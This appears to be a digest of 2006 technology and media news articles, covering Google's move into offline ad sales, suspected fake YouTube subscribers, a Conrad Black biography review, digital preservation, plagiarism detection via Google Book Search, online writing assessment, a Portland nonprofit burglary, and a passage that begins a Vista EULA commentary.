Google Mapping an Offline Course
Louise Story

Major Internet sites are showing a strong and growing interest in the advertising business, and traditional ad firms are starting to get worried.

Google has been leading the way, building on its online ad strength by striking deals to sell advertising in traditional media like newspapers and radio. Meanwhile, eBay is developing an ad-buying system for TV spots for a group of large advertisers like Wal-Mart. And yesterday, Yahoo announced a deal with 176 newspapers that did not include offline ad sales, although newspaper executives did not rule that out.

Ad executives say it is hard to know where Google and the other Internet giants will stop.

“The fox is in the henhouse and it’s going to gobble a good part of this business up before anybody realizes they’re history,” said Gene DeWitt, president of DeWitt Media Solutions.

Traditional media companies are increasingly linking up with the online giants that have been stealing their customers and advertisers. The traditional companies — like newspapers, magazines and television and radio networks — are hoping they can reverse their fortunes and share in some of the Internet success.

The offline ad market, in the meantime, provides the kind of growth opportunity that Internet companies like Google are looking for, stock analysts said.

“What these enterprises clearly need is to identify new marketplaces to expand into to justify their valuations,” said Youssef Squali, the Internet analyst at Jefferies & Company. “And that’s exactly what Google and Yahoo are doing.”

Google executives have made no secret of their ambitions in traditional ad sales, saying they can save marketers money on print, radio and TV spots, while taking a commission in the process. Google is testing ad sales for more than 50 newspapers and plans to make newspaper ad sales a permanent offering sometime next year.

Next month, Google plans to sell radio ads through the online auction system it uses to sell Internet ads. And it has indicated to analysts that it is considering moving into TV and direct-mail ads.

Consumer brand companies have turned to advertising agencies for decades to design their ads and negotiate where and when those ads run. Media buyers at ad firms plan and negotiate ad placement with publications, TV and radio stations and, more recently, Web sites. Placing ads is big business for the media buyers at agencies, because their pay is often based partly on how much the ads cost.

Ad sales in traditional media totaled nearly $150 billion last year. The entire United States ad market, which also includes direct mail, outdoor ads, yellow pages ads and online ads, is worth about $286 billion, according to Robert J. Coen, chief forecaster for Universal McCann, part of the Interpublic Group.

Internet ad revenue have been growing by upward of 30 percent a year — this year about $16 billion will be spent online. But, as Google pointed out in its annual report last year, large advertisers would most likely continue to focus most of their ad budgets on traditional media.

To advertising executives, Google is the “frien-emy,” both the friend and the enemy, said Martin Sorrell, chief executive of the WPP Group, at a recent industry gathering. Agency executives said Google, the friend, could provide agencies and media companies with the technical systems they sorely need to modernize ad buying. Media buyers said better systems could allow them to spend more of their time planning how to better grab consumer attention.

But Google could end up automating so much of the ad-buying process that companies no longer see the need to pay much for media buyers.

Several big advertisers are looking for alternatives. Companies like Wal-Mart, Microsoft, Philips Electronics, Home Depot and Hewlett-Packard hired eBay in May to develop an online marketplace where they can buy offline ads.

The advertisers — who at one point considered working with Google instead — expect to spend about $50 billion on cable network ads to test eBay’s system early next year. They will test other media next.

Yesterday’s announcement from Yahoo that it will sell online ads with 176 newspapers opens the door to offline cooperation as well. Newspapers, in theory, could sell all of their ads through Yahoo’s automated system. In a conference call, one newspaper executive said such an arrangement was a “very real possibility.”

Newspaper executives emphasized that Yahoo was now the “partner of choice” for their companies, which they acknowledged could mean that the newspapers would change their existing relationships with companies like Google and MSN.

Ad executives are not sitting idly by while these tests proceed. Media buying agencies from each of the five largest ad companies have become partners with Hewlett-Packard and the other companies involved in eBay’s test. And agencies, through an industry group, are working to modernize their ad-buying systems, so they can purchase, track and bill clients for ads as efficiently as the large online companies.

Media companies, too, are working to streamline ad sales. The Newspaper Association of America, for example, is discussing providing advertisers a central place to buy ads in different newspapers by building a centralized buying system.

Some media buyers said they would welcome a comprehensive bidding system built by Google or eBay if it brought more transparency to ad-buying. TV networks and publications and networks “are the only ones who know what is going on,” said Steven Farella, chief executive of TargetCast TCM, a media agency.

Greater transparency in media buying, of course, is not desired by all. Some media buyers have long-term relationships with media companies, giving them a competitive advantage that they would rather not lose. Their clients presumably also like the advantage.

But many advertisers want more transparency, said Bob Liodice, chief executive of the Association of National Advertisers, which is supporting eBay’s auction system.

“The ability to get prices out in the open will allow companies to develop an automated process that cuts away the lack of transparency that exists in media buying today,” he said.

Large advertisers have approached Google and Yahoo several times asking that the company expand its systems to sell traditional advertising, said Martin Pyykkonen, senior analyst at Global Crown Capital. “As you look down the road, you can look at them as being advertising agencies of a sort, doing media buying,” Mr. Pyykkonen said.

EBay would not explain how its ad auction would work or say whether buyers and sellers would be able to know how much others were bidding. Hani A. Durzy, an eBay spokesman, said the company would build the auction site to fit its new clients’ specifications. “Media buys are a commodity,” Mr. Durzy said. “They felt that there’s some efficiencies that could be wrung out of the existing system.”

Just what Google or eBay’s systems will save advertisers is the question. Google hopes to one day provide a place where advertisers can buy ads in all types of media, said Tim Armstrong, Google’s vice president for ad sales.

But Google’s vision, he said, does not involve cutting agencies’ media buyers out of the system. Mr. Armstrong said the system Google envisions would enable advertisers to aim at consumers so specifically and in so many complicated forms that media buyers would be needed to navigate the process for advertisers.

Google, in fact, has been holding regular seminars all year to update media buyers on changes in the digital world. Google will work directly with any companies that want to use Google’s systems without an agency, but Mr. Armstrong said he doubted that would occur.

Publications and ad agencies are less afraid of Yahoo than Google, Mr. Squali said. Yahoo considers itself a media company, which gives traditional agencies and media companies a sense of ease, whereas Google has stated a more disruptive goal of making ad buying and selling more efficient, he said.

Google’s name in the ad community frequently brings up visions of doomsday. At an ad design and production conference last month, ad executives mused about how advertising would be different in 2010. Paul Lavoie, chief creative officer of Taxi, an ad and design agency, predicted that Google would be the largest advertising agency by then. The audience laughed, but Mr. Lavoie, reached later, said he was serious.

“Let’s look at the facts: They have the best data to understand consumer habits, they can track your search, they know how much time you spend on certain sites,” Mr. Lavoie said. “They’re doing much more powerful work than some of the work being done by some of the more traditional agencies.”
http://www.nytimes.com/2006/11/21/bu...ia/21adco.html





Superman and Time Warner Cheating YouTube?

Shmuel Tennenhaus has just compiled an incredible video on his YouTube channel exposing some of the potential for fraud that exists on the YouTube platform.

Specifically, Shmuly has uncovered some of the dirt on this week’s #1 subscribed to YouTube channel, “SupermanReturnsDVD.”

While it’s not out of the realm of reality to suggest that the Man of Steel could rise to the level of YouTube stardom, realizing some of the tricks that Warner Brothers may be using to push the release of the Superman Returns DVD to the top of YouTube’s subscription list opens a rusty can of kryptonite on this whole marketing attempt.

Shmuly points out that there have been over 7,500 subscribers to the SupermanReturnsDVD channel just this week. However, there are only 9 videos in the channel, and there have been less video views than actual subscribers. In other words, more “people” have subscribed to the channel than actual videos viewed, which as Shmuly comments on, is simply ridiculous.

Additionally, many of the accounts subscribing to the SupermanReturnsDVD channel were created within the past week, have no favorites listed, have made no comments, have no friends, and are just linked to the SupermanReturnsDVD channel.

Perhaps even more disturbing in this context is the threats from Time Warner to sue YouTube for use of its material as copyright infringement. Dick Parsons, CEO of Time Warner, said in October:

“If you let one thing ignore your rights as an owner it makes it much more difficult to defend those rights when the next guy comes along.”

Even worse, Mr. Parsons, is when you attempt to game a user generated content site with inflated ratings and created user accounts because your company does not understand community, markets and the future.

http://www.youtube.com/watch?v=ybFOu6d6y0k

http://www.costpernews.com/?p=102





Book Review

The Man Who Would Be a Media King, and His Lady
Janet Maslin


OUTRAGEOUS FORTUNE
The Rise and Ruin of Conrad and Lady Black

By Tom Bower

436 pp. HarperCollins. $26.95.

Tom Bower’s “Outrageous Fortune” has a different title in Britain. There, the corporate finaglings of Conrad Black, the Canadian-born newspaper tycoon who controlled The Chicago Sun-Times, The Jerusalem Post and The Daily Telegraph in London (not to mention The Journal of the San Juan Islands and The Skagit Valley Argus) are better known. Lord Black has achieved household notoriety. So the British version is more lip-smackingly familiar. It is called “Conrad and Lady Black: Dancing on the Edge.”

Far better than either of these titles would have been “Schadenfreude” — not only because it aptly summarizes the drooling glee prompted by the Blacks’ comedown, but also because of Lord Black’s well-documented fondness for showily eloquent words. In describing the first of his several school expulsions, this one for selling final exams to fellow students at a Toronto private school when he was 14, he called the principal’s wife a “desiccated old sorceress” and the principal an “insufferable poltroon.”

He would go on to better invective and far worse transgressions. “Outrageous Fortune” is a hastily disgorged, shapeless account of Lord Black’s apparent shell-game approach to corporate management and surreptitious fee extraction. These techniques have culminated in disgrace, eight counts of fraud and an American trial scheduled to begin in Chicago next year. Throughout his comedown, Lord Black has adhered to the time-honored technique of loudly proclaiming his innocence despite spectacular evidence to the contrary.

As a business book, “Outrageous Fortune” is convoluted but sketchy. Mr. Bower does a better job of providing an overview (“no other public company would have found itself in the absurd position of its chairman taking money from the company and then lending the same money back through his own private company”) than of offering specific information. He favors generalities and neglects to cite sources for much of the material here. The blanket claim that he has drawn on earlier biographical and autobiographical books about Lord Black does not justify such oversights.

While Mr. Bower leaves little doubt about the degree to which Black-controlled companies, including Hollinger International, Hollinger Inc. and Ravelston, were manipulated to serve one another’s interests, his details lack precision. And these matters call for an accountant’s skills as much as a muckraker’s. But the book’s assertion that in the year 2000 alone Black associates extracted $122 million from a company with a net income of $117 million is supported by investigatory evidence uncovered by a hard-charging analyst from the investment fund Tweedy Browne. And its implications regarding the Blacks’ cupidity are nothing if not clear.

“Outrageous Fortune” seeks to mix tales of fiscal chicanery with its own brand of money-mongering, in a tone that weakly mimics the fawning of glossy magazines. About the Palm Beach set that the Blacks were eager to infiltrate, Mr. Bower writes: “Their mansions were imposing, their manicured lawns dazzling and their undisguised wealth awesome.”

But this book shows precious little flair for the kind of potboiling prose on which whole shameless writing careers are based. Its descriptions of the high life are unintentionally hilarious. (“Gladly he satisfied her craving for cashmere sweaters, her enjoyment of expensive trips and, at the weekends, her desire to smoke pot and win at Monopoly.”)

Ditto Mr. Bower’s clumsy malice about Lady Black’s stilettos. “On the day Conrad Black and Barbara Amiel secretly agreed to marry,” he writes, “she celebrated at Manolo Blahnik by choosing pairs of the world’s most expensive shoes, as usual with high heels to minimize her big feet.”

Clearly Ms. Amiel is meant to be this flat-footed book’s secret weapon. Though it concentrates primarily on financial scheming, it counts on the Black-Amiel union to provide glamour. The couple cattily known as Mr. Money and Attila the Honey are described in the full flower of wretched excess, and this part of the book is given the predictable “Macbeth” spin. Since Mr. Bower regards Tom Wolfe as an earnest chronicler of the lives of rich socialites, his own denseness about these people is guaranteed.

Ms. Amiel, once the author of an article called “Why Women Marry Up” and later an outspoken right-wing pundit employed by her husband’s publications, is said to have made declarations like, “I’m never going to a public cinema again” and to have demanded ever-larger private airplanes. She is said to have once been mortified by her husband’s saying, “We’ve got to check in” — a clear reference to public air travel — in front of rich friends.

Harp as he does upon Ms. Amiel’s sexual wiles and heavy expenditures, Mr. Bower can’t hang a whole book on her extravagance. Nor does Lord Black’s ambition rivet interest, although it cannot have been easy to make the Blacks sound dull.

But Mr. Bower’s insights into human nature are primitive. (He says that Lord Black, then Mr. Black, married his first wife, a secretary, “to satisfy his need for companionship.”) His phrasing is unfortunate. (“Like cosmetics applied every morning, she relied on her chosen man’s image to project herself.”) And his editor is missing in action. (“Her itinerant search for permanence was doomed.”) Think what you will of Lord Black, but he writes better than his biographer does.

In its hunt for irony “Outrageous Fortune” finds some in the fact that Lord Black will soon be judged by a jury of commoners, those same little people over whom he sought to tower. Here’s more: this book, like several other recent ones published by HarperCollins, makes a sad little sound. When its binding is snapped open, it literally squeaks. That hardly suits a subject whose preferred sound is the self-righteous roar.
http://www.nytimes.com/2006/11/21/books/21masl.html





The Digital Ice Age

The documents of our time are being recorded as bits and bytes with no guarantee of future readability. As technologies change, we may find our files frozen in forgotten formats. Will an entire era of human history be lost?
Brad Reagan

When the aircraft carrier USS Nimitz takes to sea, it carries more than a half-million files with diagrams of the propulsion, electrical and other systems critical to operation. Because this is the 21st century, these are not unwieldy paper scrolls of engineering drawings, but digital files on the ship's computers. The shift to digital technology, which enables Navy engineers anywhere in the world to access the diagrams, makes maintenance and repair more efficient. In theory. Several years ago, the Navy noticed a problem when older files were opened on newer versions of computer-aided design (CAD) software.

"We would open up these drawings and be like, 'Wow, this doesn't look exactly like the drawing did before,'" says Brad Cumming, head of the aircraft carrier planning yard division at Norfolk Navy Shipyard.

The changes were subtle — a dotted line instead of dashes or minor dimension changes — but significant enough to worry the Navy's engineers. Even the tiniest discrepancy might be mission critical on a ship powered by two nuclear reactors and carrying up to 85 aircraft.

The challenge of retrieving digital files isn't an issue just for the U.S. Navy. In fact, the threat of lost or corrupted data faces anyone who relies on digital media to store documents — and these days, that's practically everyone. Digital information is so simple to create and store, we naturally think it will be easily and accurately preserved for the future. Nothing could be further from the truth. In fact, our digital information — everything from photos of loved ones to diagrams of Navy ships — is at risk of degrading, becoming unreadable or disappearing altogether.

The problem is both immediately apparent and invisible to the average citizen. It crops up when our hard drive crashes, or our new computer lacks a floppy disk drive, or our online e-mail service goes out of business and takes our correspondence with it. We consider these types of data loss scenarios as personal catastrophes. Writ large, they are symptomatic of a growing crisis. If the software and hardware we use to create and store information are not inherently trustworthy over time, then everything we build using that information is at risk.

Large government and academic institutions began grappling with the problem of data loss years ago, with little substantive progress to date. Experts in the field agree that if a solution isn't worked out soon, we could end up leaving behind a blank spot in history. "Quite a bit of this period could conceivably be lost," says Jeff Rothenberg, a computer scientist with the Rand Corp. who has studied digital preservation.

Throughout most of our past, preserving information for posterity was mostly a matter of stashing photographs, letters and other documents in a safe place. Personal accounts from the Civil War can still be read today because people took pains to save letters, but how many of the millions of e-mails sent home by U.S. servicemen and servicewomen from the front lines in Iraq will be accessible a century from now?

One irony of the Digital Age is that archiving has become a more complex process than it was in the past. You not only have to save the physical discs, tapes and drives that hold your data, but you also need to make sure those media are compatible with the hardware and software of the future. "Most people haven't recognized that digital stuff is encoded in some format that requires software to render it in a form that humans can perceive," Rothenberg says. "Software that knows how to render those bits becomes obsolete. And it runs on computers that become obsolete."

In 1986, for example, the British Broadcasting Corp. compiled a modern, interactive version of William the Conqueror's Domesday Book, a survey of life in medieval England. More than a million people submitted photographs, written descriptions and video clips for this new "book." It was stored on laser discs — considered indestructible at the time — so future generations of students and scholars could learn about life in the 20th century.

But 15 years later, British officials found the information on the discs was practically inaccessible — not because the discs were corrupted, but because they were no longer compatible with modern computer systems. By contrast, the original Domesday Book, written on parchment in 1086, is still in readable condition in England's National Archives in Kew. (The multimedia version was ultimately salvaged.)

Changing computer standards aren't the only threat to digital data. In 2004, Miami-Dade County announced it had lost almost all the electronic voting records from a 2002 election because of a series of computer crashes — reminding us that many of the failures of digital records — keeping are attributable to everyday equipment failure (see "Preserving Your Data" at right). Additionally, software companies can go out of business, taking their proprietary codes with them. In 2001, the online photo storage site PhotoPoint shut down and hundreds of people lost the digital photos they stored on the site.

But data loss is not always as apparent as a fried hard drive or a disc with no machine to play it. A digital file is just a long string of binary code. Unlike a letter or a photograph, its content is not immediately apparent to the end user. In order to see a photograph that has been saved as a JPEG file or to read a letter composed in a word processing program, we need software that can translate that code for us.

Software applications are updated on average every 18 months to two years, according to the Software and Information Industry Association, and newer versions are not always backward compatible with the previous ones. That could be a problem on the USS Nimitz, just as it could make trouble for you if the file in question held your medical records.

Likewise, law firms find that metadata—data about the data, such as the date when a file was created—are often not transferred accurately when files are copied. For example, magnetic storage media, such as hard drives, allow for a three-part date storage system (created/accessed/modified), whereas the file architecture of optical media, such as CD-Rs, allows for only one date. This presents a difficulty in litigation, when attorneys must build chronologies of key events in a case. "I see this in almost every single case," says Craig Ball, a computer forensics expert who advises law firms. "It's a complex problem at so many levels. We are losing so much."

As Richard Pearce-Moses, past president of the Society of American Archivists, puts it, "We can keep the 0s and 1s alive forever, but can we make sense of them?"

I TRAVELED RECENTLY TO Washington, D.C., to meet with Ken Thibodeau, head of the National Archives' Electronic Records Archive (ERA). The National Archives is charged with the daunting task of preserving all historically relevant documents and materials generated by the federal government—everything from White House e-mails to the storage locations of nuclear waste. Ten years ago, Thibodeau's biggest concern was how to handle the 32 million e-mails sent to the archives by the Clinton administration. And that was just the beginning. The Bush White House is expected to produce 100 million e-mails by 2008. Thibodeau long ago realized that simply copying the data to magnetic tapes—the archives' previous means of storing electronic records—was not going to work in the Digital Age. It would take years to copy those e-mails to tape, and that was just a trickle compared to the avalanche of more complex digital files that were coming his way.

"The problem is that everything we build, whether it is a highway, tunnel, ship or airplane, is designed using computers," Thibodeau says. "Electronic records are being sent to the archives at 100 times the rate of paper records. We don't know how to prevent the loss of most digital information that's being created today."

The National Archives must not only sort through the tremendous volume of data, it must also find a way to make sense of it. Thibodeau hopes to develop a system that preserves any type of document—created on any application and any computing platform, and delivered on any digital media—for as long as the United States remains a republic. Complicating matters further, the archive needs to be searchable. When Thibodeau told the head of a government research lab about his mission, the man replied, "Your problem is so big, it's probably stupid to try and solve it."

Last year, the National Archives awarded Lockheed Martin a $308 million contract to develop the system. "We think this is a groundbreaking effort of the Information Age," says Clyde Relick, the project's program director.

To date, the ERA has identified more than 4500 file types that need to be accounted for. Each file type essentially requires an independent solution. What type of information needs to be preserved? How does that information need to be presented?

As a relatively simple example, let's take an e-mail from the head of a regulatory agency. If the correspondence is pure text, it's a straightforward solution. But what if there is an attachment? What type of file is the attachment? If the attachment is a spreadsheet, does the behavior of the spreadsheet need to be retained? In other words, will it be important for future generations to be able to execute the formulas and play with the data?

"That is unlike a challenge we would have with a paper document," Relick says. More complex file formats, such as NASA virtual reality training programs, require more complex solutions. The ERA is working with a number of research partners, including the San Diego Super-computer Center and the National Science Foundation, on some of those more intricate challenges.

Lockheed is building what is primarily a "migration" system, in which files are translated into flexible formats such as XML (extensible markup language), so the files can be accessed by technologies of the future. The idea is to make copies without losing essential characteristics of the data.

Not everyone agrees with Lockheed's approach. Rothenberg, of the Rand Corp., for example, believes an "emulation" strategy would be more appropriate. Emulation allows a modern computer to mimic an older computer so it can run a certain program. Popular emulation programs in use today are those that allow people to take video games made for Sony PlayStation 2 or Microsoft Xbox and play them on PCs.

"It seems to me that migration throws away the original," Rothenberg says. "It doesn't even try to save the original. What you end up with is somebody's idea about what was important about the original."

Relick says the cost and technical effort involved in emulation are not feasible for a project the size of the ERA. In addition, he notes that the archives in their entirety will need to be accessible to anyone with a browser, and emulation becomes more difficult when you have to account for users with an infinite variety of hardware and software.

The goal for the Lockheed team is to have initial operating capability for the ERA in September 2007, but budget cuts may delay the program's search functionality.

The data crisis is by no means limited to the National Archives, or to branches of the military. The Library of Congress is in the midst of its own preservation project, and many universities are scrambling to build systems that capture and retain valuable academic research.

But the programs in development for government and academia won't help find the lost e-mail of an individual computer user. Some experts believe that this is the result of simple market forces: Consumers have shown little interest in digital preservation, and corporations are in the business of meeting consumer demand. Others say corporations are only concerned with selling more new products.

"Their interest, it seems to me, is creating incompatibilities over time, not compatibilities," Rothenberg says. "Looking at it cynically, they have very little motivation to burden themselves with compatibility because doing so only allows their customers to avoid upgrading."

Nevertheless, there have been encouraging developments. In late 2005, Microsoft announced it was opening the file formats of its Office suite, including Word and Excel, to competitors in order to get Office certified as an international standard. By ceding proprietary control of the formats to third-party developers, Microsoft greatly increases the odds that those formats will be accessible for future generations.

Meanwhile, the International Organization for Standardization recently certified a modified version of Adobe Systems' popular Portable Document Format (PDF) specifically for long-term archiving. It's called PDF/A. In essence, PDF/A preserves everything contained in a document that can be printed while excluding features that may be useful in the short term but problematic in the long term. For example, the new format does not allow embedded links to external applications, which could become obsolete, and it doesn't allow for passwords, which can be lost or forgotten. "It is all about creating a reliable presentation down the road," says Melonie Warfel, director of worldwide standards for Adobe, who worked on the project. Adobe is also working on archiving standards for engineering documents and digital images.

IF HISTORY IS A GUIDE—and that, after all, is the point of preserving history—we know the future will offer the means to manipulate digital information in ways we cannot yet imagine. The trick is to keep moving forward without leaving too much behind.

"It goes beyond this notion of 'important records'—it goes to the things that are important to us," says Warfel, the mother of two children. "My mom had shoeboxes full of photographs, but we don't do that anymore. I have hard drives full of photographs." PM

Preserving Your Data

>>There is no magic machine that will make your files last forever. But these simple strategies can help.

Make a bombproof backup. The easiest way to lose data is through hardware failure. To protect your files, get a backup drive with enough capacity to hold the contents of your entire computer. Drives such as the One Touch III Turbo from Maxtor (maxtorsolutions.com; $900) can store up to 1 terabyte and be set to back up your PC automatically. Of course, even external drives can be lost in a fire or flood. For extra security, consider an online storage service such as XDrive (xdrive.com) that gives you 50GB of space for about $10 per month.

Go for the gold. Burned CDs and DVDs can begin to degrade after three years. Kodak (kodak.com) and Memorex (memorex.com) make archival discs with a layer of 24-karat gold to prevent oxidation that are designed to last 300 years. Still, it's prudent to check your storage media every few years for data corruption, and to ensure that they're still compatible with modern computers.

Resurrect your data. Companies such as Ontrack Data Recovery (ontrack.com) can salvage information from damaged hard drives. It can be done online or by sending hardware to the lab. For digital cameras, programs such as MediaRecover (mediarecover.com; $30) and eImage Recovery (octanesoft.com; $27) can recover photos that were accidentally deleted.

When in doubt, print it out. Most software formats are proprietary, meaning they could become obsolete if the companies that create them go belly up. For important files, save a copy in a standardized format such as text or JPEG. And remember, a printed copy is sometimes the best form of backup. - B.R.
http://www.popularmechanics.com/tech...y/4201645.html





Dead Plagiarists Society

Will Google Book Search Uncover Long-Buried Literary Crimes?
Paul Collins

Listen to an interview with the author here, or sign up for Slate's free daily podcast on iTunes.

Amir Aczel knew just whom to blame. "It seems," the science author complained last month in an irate letter to the Washington Post, "that [Charles] Seife has submitted every sentence in my book to a Google search." Days earlier in a Post book review, Seife exposed what appeared to be embarrassing plagiarisms in Aczel's new book, The Artist and the Mathematician. But if Seife's discovery that Aczel lifted text from the Guggenheim Museum's Web site was instructive, so was the assumption behind Aczel's response. For any plagiarist living in an age of search engines, waving a loaded book in front of reviewers has become the literary equivalent of suicide by cop.

As it turns out, even authors not living in this online age are in trouble. My fellow literary sleuth Alex MacBride recently revealed to me that he'd uncovered an old crime in a new way. MacBride, a linguist employed by Google, idly ran a phrase from England Howlett's 1899 essay Sacrificial Foundations through Google Book Search, his employer's massive digitization of millions of volumes from university libraries. The search had nothing to do with his job—like the rest of us, sometimes Alex just kills time by plugging stuff into Google—and rather than go to the trouble of digging out Howlett's book by name, he'd decided to call it up with a phrase. To his surprise, he got more back than just Howlett: The search also revealed a suspiciously similar passage in Sabine Baring-Gould's 1892 book Strange Survivals. A lot of suspiciously similar passages.

Perhaps it's not too shocking that a small-time amateur like Howlett swiped from Baring-Gould, a frenetically prolific folklore scholar who published hundreds of books and articles. But, the search results revealed, this was not quite the end of the story. "Charmingly," MacBride e-mails, "Baring-Gould seems to have had sticky fingers himself." The wronged author, you see, had in turn used the unattributed quotation from a still earlier work: Benjamin Thorpe's 1851 study Northern Mythology.

We're talking about forgotten writers here: I don't think there will be too many England Howlett fan clubs grappling with disillusionment today. But MacBride's discovery is the first rumble in what may become a literary earthquake. Given the popularity of plagiarism-seeking software services for academics, it may be only a matter of time before some enterprising scholar yokes Google Book Search and plagiarism-detection software together into a massive literary dragnet, scooping out hundreds of years' worth of plagiarists—giants and forgotten hacks alike—who have all escaped detection until now.

But wait, you might ask, don't people accidentally repeat each other's sentences all the time? It seems to me that this should not be unusual. Yet try plugging that last sentence word by word into Google Book Search, and watch what happens.

It: Rejected—too many hits to count
It seems: 11,160,000 matches
It seems to: 3,050,000
It seems to me: 1,580,000
It seems to me that: 844,000
It seems to me that this: 29,700
It seems to me that this should: 237
It seems to me that this should not: 20
It seems to me that this should not be: 9
It seems to me that this should not be unusual: 0

It seems to me that this should not be unusual is itself ... unusual.

Google Book Search contains hundreds of millions of printed pages, and yet after just a few words, the likelihood of the sentence's replication scales down dramatically. And even before our sentence implodes into utter improbability, there's another telling phenomenon at work. The nine books that contain the penultimate It seems to me that this should not be are from a grab bag of subjects: a 2001 study of Freud, an 1874 collection of Methodist camp sermons, minutes from a 1973 hearing of the Senate subcommittee on transportation. So, if replicating the same sentence alone is suspicious behavior, then to also replicate it on the same subject warrants dialing 911.

Conveniently enough, a few literary greats have already had their mug shots taken. It's long been known that Poe plagiarized his first book, a hack project titled The Conchologist's First Book, and that Herman Melville swiped many technical passages of Moby Dick whole from maritime authors like Henry Cheever. Even more inventively, Lawrence Sterne's immortal diatribe against plagiarism in Tristram Shandy was itself ... plagiarized from Robert Burton's Anatomy of Melancholy. There have always been a dizzying array of ways that authors can rip each other off, even in reverse: Literary critic Terry Eagleton has written entertainingly of "anti-plagiarism," a 19th-century literary wheeze favored by Irish critics, who pounced on poets or novelists for plagiarizing or surreptitiously translating some little-known domestic or foreign work and presenting it under their name. The trick was that the "original" work presented by the prosecuting critic was itself a forgery, written after a new work's publication to frame an enemy.

The most intriguing result of a digital dragnet would be if any deeply idiosyncratic last-person-you'd-guess authors get fingered—Emily Dickinson, anyone? Ben Franklin, perhaps? I'd bet that in the next decade at least one major literary work gets busted. Such thefts don't necessarily end a literary reputation: After all, what Melville did with ordinary maritime literature amounted to an act of lead-to-gold alchemy. But it's invigorating to think that some forgotten authors, long buried and with the dirt tamped down over them by their ruthless rivals, will now get their due. Plagiarism, it seems, will out.
http://www.slate.com/id/2153313/?nav=tap3





Students, Teachers Give High scores to Online Writing Assessments
AP

Students at several Connecticut schools are among a growing number nationwide using new Internet-based programs that analyze their writing and provide instant feedback.

Only about 1.5 million of the nation's almost 50 million public school students have access to the online assessments, but industry officials say the business is growing.

In Connecticut, schools in Bristol, Glastonbury, Windsor, New Fairfield, Killingly and Stonington received state grants last year to try the technology. East Haven also has a pilot program.

The online assessment tools, which are accessed by subscription, analyze a student's writing sample to point out potential problems in organization, grammar, sentence complexity and other issues.

The technology doesn't replace teachers, however, because computers cannot provide subjective feedback on skills such as analysis, creativity and interpretation.

However, many educators say the programs are a helpful tool that offer the kind of individual attention often not available in crowded classrooms.

"Students still need guidance, but the fact that they can get immediate feedback is amazing," said Brooke Unger, who has been piloting the program in East Haven with teacher Christine Bauer.

Many students who use the technology say they like the instant feedback.

"It takes, like, two seconds," said student Robin Squirrell, who attends East Haven High School, which uses a program called My Access from Pennsylvania-based Vantage Learning.

That system and others emulate the process used by human scorers, such as those who grade the essays written each year by students taking the Connecticut Mastery Test.

Today's students are more attuned to technology than students in past years, said Don Knezek, who runs the Washington-based International Society for Technology in Education.

"We know that if they have access to technology, they write more, they revise more. And you have kids getting competitive with the assessment tool," he said. "They take it as a challenge, as a kind of gaming activity."

But the technology isn't getting universal raves. Some critics warn it could squelch creativity, while others worry it might eventually displace teachers.

"It appears to encourage formulaic writing," said Robert Schaeffer of the National Center for Fair and Open Testing, an advocacy group. "It drills the basics and tends to ignore the nuances of good writing."

Cost is also a factor. For instance, Vantage generally charges schools $18 to $24 annually for each student subscription.

"Right now it's cost-prohibitive because it comes down to, 'Should we fix the roof on the elementary school or do we buy this program?'" said Art Skerker, a consultant at the state Department of Education who works on technology issues.

Skerker said he hopes the grant-funded projects in Connecticut will help determine the value of online assessments. Ultimately, he said, the state might make subscriptions available to students and schools through the Connecticut Education Network, a fiber-optic connection that links all districts.
http://hosted.ap.org/dynamic/stories...11-25-10-02-14





Portland FreeGeek Ripped Off
Cory Doctorow

FreeGeek, a Portland, OR nonprofit that fixes up old PCs, turns them into Linux boxen, and gives them away, was robbed this weekend. The thieves took the machines that the FreeGeeks use to organize, test and upgrade the donated PCs, cutting the org off at the knees. They're calling on people to report suspicious sales of used Ubuntu laptops.

Hello, fine people. I'm writing with sad news. Last night, Free Geek, Portland's groovy technology non-profit, sustained its most major break in to date. The majority of the items stolen were laptops, a few hard drives, and LCD screens. Many doors were smashed in forcibly in the process. While our laptop program is becoming a major source of income for us, it also is a great source of needed hardware for local non-profits. This income is now gone, and local do-gooders will have to go without our free source of laptops for a few months.

So we're making a call out to the community to help us stop these thieves and prevent this from happening again. If you're offered a laptop with Ubuntu Linux installed on it in the next couple of months, give us a call at 503-232-9350. Used LCD screens, while harder to pin down as originating at Free Geek, might raise an eyebrow as well.

Thanks for your help!
Link


Update: Steve sez, "We (the Golden Greats) arrived with our gear to be greeted with the bad news, and more bad news: the IPRC (Independent Publishing Resource Center) was hit the previous night! The IPRC supports Portland's zine community, and I fear that they will have a tough time replacing those Macs. I haven't seen any postings or news about the break-in, but given the openness of both organizations, I would suspect the crimes are related."

I toured the IRPC just after the break-in. Spirits were high, but the sight of those empty work-tables was really depressing.
http://www.boingboing.net/2006/11/20...eegeek_ri.html


Free Geek Burglarized
Staff Announcement

Early on the morning of Saturday, November 18, 2006, much of Free Geek's most valuable inventory was stolen from its Southeast Portland facility. The value of the stolen hardware has been estimated to be worth approximately $4,500.

Numerous schools and non-profit organizations served by Free Geek's grants of computer equipment will feel the sting of this loss, along with the numerous volunteers who gain valuable technical experience and earn computer equipment while volunteering at Free Geek.

Free Geek's newly-established Laptop Program, which refurbishes portable computers and provides significant income to fund Free Geek's other operations, took the greatest hit. Laptops and laptop memory were stolen, along with flat panel LCD monitors and high end Apple equipment.

Free Geek takes great care to ensure that any private data stored on donated computers is securely erased as quickly as possible, and is happy to report that after a review of stolen materials, no hard drives with private information were stolen.

Free Geek's friends and neighbors have rallied to its support. If you wish to help this unique non-profit recover from this blow to operations and morale, please consider donating money to help reach our goal of $6,000 by the end of the year. Or if you have old computer equipment (epecially laptop RAM) to unload, send it our way - the sooner the better! - so we can keep doing what we do best. Finally, any tips on used laptops being sold with Ubuntu Linux pre-installed, or with Free Geek's white inventory stickers attached, are much appreciated.

Call (503)232-9350 with any tips.
http://www.freegeek.org/news.php#breakin





Vista's EULA Product Activation Worries

Mark Rasch looks at the license agreement for Windows Vista and how its product activation component, which can disable operation of the computer, may be like walking on thin ice.

The terms of Microsoft’s End User License Agreement (EULA) for its upcoming Vista operating system raises the conflict between two fundamental principles of contract law. The first, and more familiar, is that parties to a contract can generally agree to just about anything, as long as what they agree to doesn’t violate the law and isn’t “unconscionable.” The second principle is that the law generally disfavors the remedy of “self-help.” That is to say that, if there is a violation of the terms of a contract, you usually have to go to court, prove the violation, and then you are entitled to damages or other relief.

